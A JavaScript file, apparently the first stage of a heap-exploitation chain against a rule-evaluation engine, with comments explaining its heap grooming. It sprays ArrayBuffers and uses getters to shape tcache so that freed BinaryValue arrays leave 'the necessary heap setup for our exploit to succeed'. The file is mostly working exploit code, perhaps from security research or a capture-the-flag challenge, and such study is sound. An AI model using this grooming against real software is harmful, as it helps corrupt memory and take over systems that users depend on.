rule-1.js

/**
 * RULE 1
 * This rule will try and allocate 3 contiguous heap chunks of size 0x100, as
 * 3 arrays of 0x1f BinaryValue pointers.
 * They fit in the tcache, and as such, when the rule exits,
 * BinaryValueFree() will free them and put them in the tcache of the main
 * thread. This will give us the necessary heap setup for our exploit to
 * succeed.
 */

BLOCK_SIZE = 0x100 - 0x8; // 0xf8
ARY_SIZE = BLOCK_SIZE / 8; // 0x1f

NB_BLOCKS = 508;
var blocks = new Array(NB_BLOCKS);

// Main array, contains everything we need
main = new Array(2).fill(0);

// Create a lot of BLOCK_SIZE ArrayBuffers (AB). They will go into the "messy"
// heap space and allow our next allocations to be contiguous (hopefully).
main[0] = {
    get trigger() {
        for(var i=0; i < NB_BLOCKS; i++) {
            blocks[i] = new ArrayBuffer(BLOCK_SIZE);
        }
        return 'create_SIZE_blocks';
    }
};

// Hopefully, the next three are contiguous.
// We create them like this because it makes less allocs than one-by-one.
// Less chances to mess up.
// The first element of the innermost array will put every array length to 0
// when evaluated. This avoid the allocation of BinaryValue (BV) structs (and
// other JS structs).
main[1] = new Array(ARY_SIZE);
main[1][0] = new Array(ARY_SIZE);
main[1][0][0] = new Array(ARY_SIZE);
main[1][0][0][0] = {
    get trigger() {
        main[1][0][0].length = 0;
        main[1][0].length = 0;
        main[1].length = 0;
    }
};

// GO
main;